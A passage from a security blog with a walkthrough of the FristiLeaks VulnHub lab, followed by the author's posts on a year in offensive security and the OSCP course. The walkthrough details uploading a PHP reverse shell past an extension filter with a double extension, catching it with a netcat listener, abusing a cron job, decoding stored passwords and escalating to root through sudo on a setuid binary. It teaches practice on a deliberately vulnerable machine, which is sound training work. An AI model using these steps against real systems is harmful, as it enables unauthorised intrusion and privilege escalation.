|_  Potentially risky methods: TRACE
| http-robots.txt: 3 disallowed entries
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)


Now let’s manually check the web server running on port 80:


For the sake of clarity, you may also want to verify the robots.txt disallowed entries that were identified by nmap. But trust me, nmap’s script is pretty accurate. 🙂


At this point, my thought was — if this is the entry to gain access to the system, then this machine might be a little too simple. It cannot be so simple.


As expected!! All the 3 entries have brought us to the above meme.

Since all the 3 entries were deadends, let’s run our directory buster.


---- Scanning URL: ----
+ (CODE:403|SIZE:210)                                 
+ (CODE:200|SIZE:703)                               
+ (CODE:200|SIZE:62)                                
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

Nothing interesting found except for the directory listing of images:


Only 2 images. Now, on second thoughts, the pink colour keep-calm image seems to be a hint, since it says,


There were pages for Cola, Sisi and Beer. What about Fristi, since it is also a form of drinking beverage?

Let’s visit


Wow. Just, wow. It’s actually there. There is this hidden admin portal with a very badly designed login form which has auto-complete feature being enabled in both input fields. (yeah, including the password).


And there is this guy in the image that is going “Ha Ha” …

Moving on, let’s run the directory buster again.


---- Scanning URL: ----
+ (CODE:200|SIZE:134605)                      
==> DIRECTORY:                                                                                      

---- Entering directory: ----
+ (CODE:200|SIZE:4)  

We found something! BUT it looks like kind of a dead-end… at least for now.


Since there is nothing else here, let’s go back and view the page source of the login page.

As my colleague, Sven, has always told me when we are working on a project — always view the page source, never trust the rendered output.

It’s very well said, as I have found several vulnerabilities on web applications that messed up because some developers did not expect their users to either view the page source on their web browser (e.g. Firefox users can right-click, view page source) or view the HTTP responses directly on a HTTP proxy server.

Back to the write-up — indeed, the page source has several interesting stuff. For example, the meta description content is hilarious:

super leet password login-test page. We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it.

Also, the TODO comments are very interesting as well:


There are two things that I can infer from reading this TODO list: There are two things that I could infer from reading this TODO list:

  1. “eezeepz” is the name of the developer who created this application.
  2. He is the type who write notes within the application. Assuming he uses “eezeepz” as his username, what could the password be?

Going further down the page source, we can see that there is another chunk of base64 encoded content that was commented.


Well, what could it be? 🙂

To decode the base64 encoded content, I used nano to make the content into a single line. It can be any other tools that you like – I need it to be a single line so I can conveniently use my terminal to run a command to decode it.

base64 -d /tmp/encoded.txt


Wow. Apparently, it is a PNG image file, as you can see in the very first line of characters. Seems like it somehow links back to the meta description content of “using base64 encoding for images”.

First, we save it as a PNG file.

base64 -d /tmp/encoded.txt > decoded.png

Next, we render it and see what is in the image. Again, you can use any tools to do this. For me, I like to use feh.

feh decoded.png


Interesting… for some reason, the only correlation of things that I can use for this set of characters is probably someone’s password…

Let’s try the following credentials on the login form:


Bingo!! Finally some progress!


Looks like the only available function is the upload file feature. Now what? let’s conveniently upload a PHP reverse shell!

Gaining Low Privilege Access Shell

Simply modify and use the one from kali. If you are not using kali, you can download the reverse shell source code here, created by pentestmonkey.

cp /usr/share/webshells/php/php-reverse-shell.php reverse-shell.php
vi reverse-shell.php

Make the necessary changes to insert your own local IP address and listening port.


Now setup a netcat listener to catch the connection.

nc -nlvp 8888


Bad news! Only png, jpg, gif are allowed.


Looks like things are not so easy after all.

There are many ways to configure a file upload function. Developers should consider many different things. For instance, to prevent directory traversal, they should use base() or rename the file completely (use microtime() and some random numbers). Also, check the file type and size if there is any limitation to be enforced.

The question now is, did the developer of this application implemented the file upload functionality correctly? Or is it only validating the file extension? What if I just add the .jpg extension to the php file, will it be able to bypass the validation filters?

cp reverse-shell.php reverse-shell.php.jpg

Since this is a VulnHub VM, there is no harm in trying things out! We all learn.


Surprisingly (or maybe as expected), IT WORKS!!


As hinted by the output, now is the time to go back to the “dead-end” that we have identified previously and walk the newly discovered path.

Render the following URL in your web browser:


After rendering the page, a reverse shell has been established on your local machine!

root@kali:/tmp# nc -nlvp 8888
listening on [any] 8888 ...
connect to [] from (UNKNOWN) [] 41116
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
20:59:09 up 3:45, 0 users, load average: 0.00, 0.00, 0.00
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell

Now you have a low privileged shell as user apache.


Privilege Escalation

As expected of a PHP reverse shell, the display is bad. It will repeat the characters, so the commands in screenshots from this point onwards may not be as accurate as it should be, but I will write the same command in the write-up, so don’t worry about it yeah.


Now, let us perform privilege escalation. I will not write too much about the methodology and concepts of privilege escalation in this post, as I will be digressing too much. Let us go straight into finding the interesting information on this machine!

The first thing you need to know is the environment that you are in.

Run your favourite enumeration scripts, or you can do it manually based on this guide written by g0tmi1k. It has been super useful during my journey towards obtaining OSCP certification.

Kernel information:
Linux version 2.6.32-573.8.1.el6.x86_64 ([email protected]) (gcc version 4.4.7 20120313 (Red Hat 4.4.7-16) (GCC) ) #1 SMP Tue Nov 10 18:01:38 UTC 2015

Specific release information:
CentOS release 6.7 (Final)

Interesting system users:

Permissions in /home directory:
drwxr-xr-x. 5 root root 4.0K Nov 19 2015 .
dr-xr-xr-x. 22 root root 4.0K Dec 16 17:13 ..
drwx------. 2 admin admin 4.0K Nov 19 2015 admin
drwx---r-x. 5 eezeepz eezeepz 12K Nov 18 2015 eezeepz
drwx------ 2 fristigod fristigod 4.0K Nov 19 2015 fristigod

Network information 
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name 
tcp 0 0* LISTEN - 
tcp 0 0 ESTABLISHED 3001/sh 
tcp 0 0 :::80 :::* LISTEN - 
tcp 0 0 ::ffff: ::ffff: ESTABLISHED -

Software versions
Sudo version:
Sudo version 1.8.6p3

MYSQL version:
mysql Ver 14.14 Distrib 5.1.73, for redhat-linux-gnu (x86_64) using readline 5.1

Apache version:
Server version: Apache/2.2.15 (Unix)
Server built: Aug 24 2015 17:52:49

In the above information, in your opinion, which is the most interesting ones?

For me, I would like to check the user directory:

cd /home
ls *


Notice anything interesting in the output?




Yes, you are probably right — let’s check out the text file at /home/eezeepz/notes.txt

cat /home/eezeepz/notes.txt

Yo EZ,

I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.
- Jerry


Nice. Now we know that Jerry has put some of the useful binary files in his directory at /home/admin, and we can execute those binaries under his (root) privilege by creating a file called “runthis” in the /tmp/ directory.

Let’s try if we can spawn a reverse shell with root privilege using this cron job!

Set up a listener just like before and create the “runthis” file.


It did not work.

Every minute, the cron job will execute the commands in runthis and update the cronresults file located within /tmp/ directory.

The current results are the following:

command did not start with /home/admin or /usr/bin

As such, it is not possible to directly spawn a reverse shell like that. We need to do it using another method.

Just to test it out, let’s try running the following command to verify that the cronjob is working fine:

/home/admin/chmod 777 /home/admin


So apparently, it works!

total 20
drwxrwxrwx. 2 admin admin 4096 Nov 19 2015 admin
drwx---r-x. 5 eezeepz eezeepz 12288 Nov 18 2015 eezeepz
drwx------ 2 fristigod fristigod 4096 Nov 19 2015 fristigod

Awesome! Now we can read the content in the /home/admin directory.

bash-4.1$ ls -l

total 632
-rwxr-xr-x 1 admin admin 45224 Nov 18 2015 cat
-rwxr-xr-x 1 admin admin 48712 Nov 18 2015 chmod
-rw-r--r-- 1 admin admin 737 Nov 18 2015 cronjob.py
-rw-r--r-- 1 admin admin 21 Nov 18 2015 cryptedpass.txt
-rw-r--r-- 1 admin admin 258 Nov 18 2015 cryptpass.py
-rwxr-xr-x 1 admin admin 90544 Nov 18 2015 df
-rwxr-xr-x 1 admin admin 24136 Nov 18 2015 echo
-rwxr-xr-x 1 admin admin 163600 Nov 18 2015 egrep
-rwxr-xr-x 1 admin admin 163600 Nov 18 2015 grep
-rwxr-xr-x 1 admin admin 85304 Nov 18 2015 ps
-rw-r--r-- 1 fristigod fristigod 25 Nov 19 2015 whoisyourgodnow.txt

Here are some interesting files that can be identified in the /home/admin directory:

  1. cryptpass.py
  2. cryptedpass.txt
  3. whoisyourgodnow.txt

First, the content of cryptpass.py:

bash-4.1$ cat cryptpass.py

#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13')

print cryptoResult

Next, the content of cryptedpass.txt:

bash-4.1$ cat cryptedpass.txt

Lastly, the content of whoisyourgodnow.txt:

bash-4.1$ cat whoisyourgodnow.txt

It is not difficult to guess that the python script was used to produce the content in cryptedpass.txt and most likely also the whoisyourgodnow.txt.

Based on the source code of cryptpass.py, I wrote a decode function to do the reverse of cryptpass.py, let’s call it decryptpass.py and here’s the full source code:


By the way, I wrote the script locally before transferring it over using wget. Please feel free to write it directly on the machine to your liking!

After executing the commands, you will get 2 sets of passwords for each of the “encrypted” text from before.

  1. mVGZ3O3omkJLmy2pcuTq becomes thisisalsopw123
  2. =RFn0AKnlMHMPIzpyuTI0ITG becomes LetThereBeFristi!


I am very sure that LetThereBeFristi! is the password for user “fristigod”.

Let’s continue our privilege escalation, this time to “fristigod” since it is the only folder within the /home directory that we do not currently have any access to until now.

Something inside there might give us root access.

Run the following command to switch user to fristigod:

su - fristigod

standard in must be a tty

This happens because this is not a full shell. To resolve this issue, simply spawn a tty yourself (straightforward enough).

python -c 'import pty;pty.spawn("/bin/bash")'
su - fristigod

Password: LetThereBeFristi!

uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)

Nice, we are now user “fristigod”!

Once again, check our home directory:


ls -la

total 16
drwxr-x--- 3 fristigod fristigod 4096 Nov 25 2015 .
drwxr-xr-x. 19 root root 4096 Nov 19 2015 ..
-rw------- 1 fristigod fristigod 864 Nov 25 2015 .bash_history
drwxrwxr-x. 2 fristigod fristigod 4096 Nov 25 2015 .secret_admin_stuff

Noticed something interesting?

There is a directory named .secret_admin_stuff

cd .secret_admin_stuff
ls -la

total 16
drwxrwxr-x. 2 fristigod fristigod 4096 Nov 25 2015 .
drwxr-x--- 3 fristigod fristigod 4096 Nov 25 2015 ..
-rwsr-sr-x 1 root root 7529 Nov 25 2015 doCom


Nice try, but wrong user ;)

As kindly hinted by the error message, I might be using the binary file in a wrong way.

Let’s try to find out more about the usage of this doCom, as this is most likely the gateway to make us root. It can already run programs as root (see its permissions!).

Reviewing the /var/fristigod/.bash_history file to find clues on how to use the doCom file.

cat .bash_history

ls -lah
cd .secret_admin_stuff/
./doCom test
sudo ls
cd .secret_admin_stuff/
sudo -u fristi ./doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo /var/fristigod/.secret_admin_stuff/doCom
sudo /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
ls -lah
usermod -G fristigod fristi
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
less /var/log/secure e

Did you notice that the “fristigod” user is always running the following sudo command?

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom

Seems like we have to run that same command as well, before we can attempt to execute any other commands.

To verify this, simply run the following command:

sudo -l

User fristigod may run the following commands on this host:
(fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom

Looks like we are right. 🙂


Let’s try it out:

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id

uid=0(root) gid=100(users) groups=100(users),502(fristigod)

Wow, that was amazing. So, what else can I run?

If I can run the id command like above, can I directly spawn myself a shell?

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

uid=0(root) gid=100(users) groups=100(users),502(fristigod)

Perfect! Now we can go to the /root directory to check out the flag 🙂

cd /root
ls -la

-rw-------. 1 root root 246 Nov 17 2015 fristileaks_secrets.txt

Ain’t you excited? 🙂

cat fristileaks_secrets.txt

Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)

Flag: Y0u_kn0w_y0u_l0ve_fr1st1

That’s it! Congratulations, you have completed the FristiLeaks v1.3 VulnHub VM!


Thanks for following my write-up, I hope that it has been useful to you and helped you learn something new — be it the thought process or the approach towards hacking a box like this.

Also, I would say that this a very good practice machine for folks who intended to take up the OSCP certification. If you are still on the verge of deciding, check out my OSCP/PWK course review, it might be helpful to you. 😉

Lastly, thanks Ar0xA for creating this VM, it was fun! Also thanks VulnHub for providing a platform for people to create and upload such CTF alike practice VMs for the community.

If you like this write-up, do also check out my other write-ups on the Kioptrix series as well.

A review of my past one-year in Information Security

A Review of my past one-year in Information Security

A review of my past one-year in Information Security
A review of my past one-year in Information Security

Last week, I had my one-year anniversary in the Information Security industry, doing work related to the offensive aspect of security. Surprisingly, it has already been a year since I left my previous role from a local bank and pursued my interest in Information Security. Time really flies…

The purpose of this blog is to document my learning journey, but I have neglected it for a few months due to hectic workload from various sources, however, the good news is that I have decided to consciously remind myself to update it more often moving forward! Well, make it a “new year resolution”!

Now, back to the review…

Keep Reading

My OSCP / PWK Course Review

It have been a tough 3 months of virtual lab and hands-on training – so much learning, and I mean, intensive learning; combo with many sleepless nights and so much sweat and tears (maybe not the tears part but you get the point), I have finally passed my OSCP!

I am now officially an Offensive Security Certified Professional!  Yes, I tried harder #tryharder 🙂


It have been a very tough 3 months of journey, which explains why I have not been blogging anything at all since then. I am happy to be back and blogging once again!

Okay, here comes my review about the course, specifically for any fellow aspiring ethical hacker like me, or simply anyone who have passion in the topic of computer security and wants to learn the technical side of the skill set.

A little bit about myself (for reference to the content below): I graduated from the National University of Singapore (NUS), School of Computing, Bachelor of E-Commerce, in 2014. Since then, I have been working as an IT Infrastructure Project Delivery Manager at a bank. In my role, I basically coordinates the completion of various deliverable for either the upgrading of existing systems or setting up of new systems. Up to this point, my job were not security related. To pursue my interest in information security, I left my job. I took up training courses and obtained my EC-Council Certified Ethical Hacker (CEHv9) certification during September 2016. Ever since then, I have been doing a lot of self learning on IT security stuff, especially from trying out hands on self-training by hacking the Virtual Machines downloadable from Vulnhub, you can read some of my write-ups over here.


Before you sign up for the OSCP course, it is essential to plan your time well! I made a mistake so I’d like you to learn from it. First, you have to know that to obtain the OSCP certification, you will need to register yourself for the Penetration Testing with Kali (PWK) course. The course consists of a virtual lab environment of which the credentials will be sent to you (along with training manual and videos) after you have successfully registered for the course. The mistake which I have made is to directly plan for a nice weekend (and a week with lesser work) to sign up for the course, thinking that I could get started immediately.

Listen/read: You will not start the course immediately. Courses will only start at certain days of each week, and each week can only have a limited number of students to start their PWK course, depending on the sign up rates, which will not be disclosed by Offensive Security. For my case, the earliest I could get started back then was 2 weeks after I have signed up for the course. Noticed the mistake here? I totally expected myself to be able to get started right after I signed up!


With the above mistake and poor time management at the start, I spent several days on the PDF lab manual exercises and the training videos. As reference, I started working on the lab machines 2 weeks after my PWK course commenced. Many people would recommend that you jump straight into the lab and not waste any time. I would like to disagree partially. While I believe that you could learn faster jumping into the lab straight, but there are some skill sets which you have to pick up before just jumping in straight.

Personally, I find that you should go through the lab manual on the chapter regarding various methods for file transfer. You should not miss the chapter for buffer overflow too, that is very important, as it teaches you how to craft your own simple fuzzer, shell code and modify the exploit. The fundamental enumeration techniques are very important too, specifically the chapter on using tools like nmap. Essentially, my point is — don’t just jump into the lab unless you know what you are doing. Learn the basics, and then jump in to try out the tools. When things are not right, jump out again. That is the whole point of the lab — for you to practice what you learnt and not just study the theory.

Regarding the learning curve, I must say that it really takes time to get your very first shell and it gets really addictive. Personally, it took me quite awhile to get my first shell even though it is just simply running the Metasploit tool. Don’t know about Metasploit? Fret not, it will be covered in the lab manual. Or you can complete the Metasploit Unleashed Free Ethical Hacking Course, like I did. It was good learning as well and most importantly, it is an Own Time Own Target (OTOT) kind of free online course. Be patient, shell will come, you just need to try harder, don’t give up.


Thanks to the advise and encouragement from my mentor (Paul, that’s you), I took up the challenge of hacking Pain as my 10th machine. For those who don’t know what that means — Pain is one of the “boss” machine in the OSCP lab environment, along with his buddies: Sufferance, Humble and Gh0st. Hacking Pain as my 10th machine was no easy task. But like I said, I tried harder, it took my 8 days to root it. No joke, 8 days. Along the way, I learnt a lot of stuff I never imagined myself learning and also never expected myself to be able to understand. Of course, no spoilers, but really, just keep Googling and you will find it, trust me, and trust my mentor. Also thanks to these 8 days of being stuck on a machine, I kind of got used to the suffering (you know the feeling when you have no shells for a long time) and started to really pick up my pace moving forward.


While I am not going to spoon feed anyone with any post-enumeration scripts, I must say that you can always write your own scripts, or make use of available resources, there are several very good scripts around, for you to find out. One advise though, don’t just use it blindly. My peers Jin Kun and Ryan Teoh advised me the same when I was using the downloaded scripts happily initially too. There are cases where information are not presented to you directly, or when the operation system are not identical with the scripts target. In those cases, what are you going to do? Are you going to modify your script, do it manually, or give up? We never give up, so we have to understand what the script is doing. If you don’t understand it, don’t use it. Learn. It’s the same as Metasploit exploits — you run it, get shell, yay. Next, you should first, try to understand why that happened and try to get the same result without using Metasploit. The good thing is that in each of the Metasploit modules, you can run the command ‘info’ to read its description and you can read the source code of the modules directly in the “/usr/share/metasploit-framework/modules” directory. Like many people would have also shared with you, for privilege escalation, the only reference notes which you may need are probably just these list for Windows and Linux respectively. Learn and understand them and you are good to go.


At the end of my lab time, I managed to make my way all the way into the Administrative department (as shown in the image above) and hacked some of the machines in there. During my 3 months of lab time, I managed to root 42 out of [spoiler, not going to tell you] machines. It was not that bad, it is possible, you have to believe in yourself.

Finally, it’s the exams. For those who are not familiar with the exam format, the hands-on exam duration is 23 hours and 45 minutes. There will be several machines for you to attack and get the “flags”. After your time is up, you will be cut off from the exam’s Virtual Private Network (VPN) and you will have to submit a professionally prepared lab report within the next 24 hours. This document should contain the testing process and step-by-step guides on how to replicate the vulnerability and get shell of the highest system privileges.


I was lucky because there were several components that were very similar to some of the machines which I have rooted previously in the lab. While I cannot specifically share what exactly are the components, I believe I can share that, if you keep working on getting more machines rooted and understand the vulnerabilities that you have exploited to root those machines, trust me — you will recognize it when you see it during the exams. Of course, the exam machines will not be so straight forward, but they will most likely be made up of several vulnerabilities (which you have already seen back then in the lab) being put together, where after exploiting one vulnerability, it leads to the discovery or/and exploitation of the next vulnerability. Again, time management is super important during the exams, you should not get stuck for too long and keep getting stuck in that particular spiral. Move on to the next machine and start enumerating for any attack vectors. Come back again later. Don’t give up. The only reason why the machine is there is because it is hackable, that is the only fact that you should remember during your exams!

To sum up, it was a very fruitful and enriching 3 months of lab time taking the PWK course. Definitely, if time allows, I would love to take up other courses from Offensive Security. A shout out: I am very thankful to my friends at Vantage Point Security, whom never fails to ask me about my progress on the lab machines and listen to my rants and gave me motivational speeches. Special thanks to Paul Craig, Jin Kun and Ryan Teoh, whom constantly gave me constructive advise and encouragement that keeps me going, not forgetting the many ping pong sessions whenever I am having mind blockage. Also thanks my family for supporting me! Lastly, my girlfriend is so awesome, for being so understanding and considerate towards me during my busy 3 months of journey towards getting my OSCP certification.

Good luck to anyone who wish to take up the challenge of becoming an Offensive Security Certified Professional (OSCP)!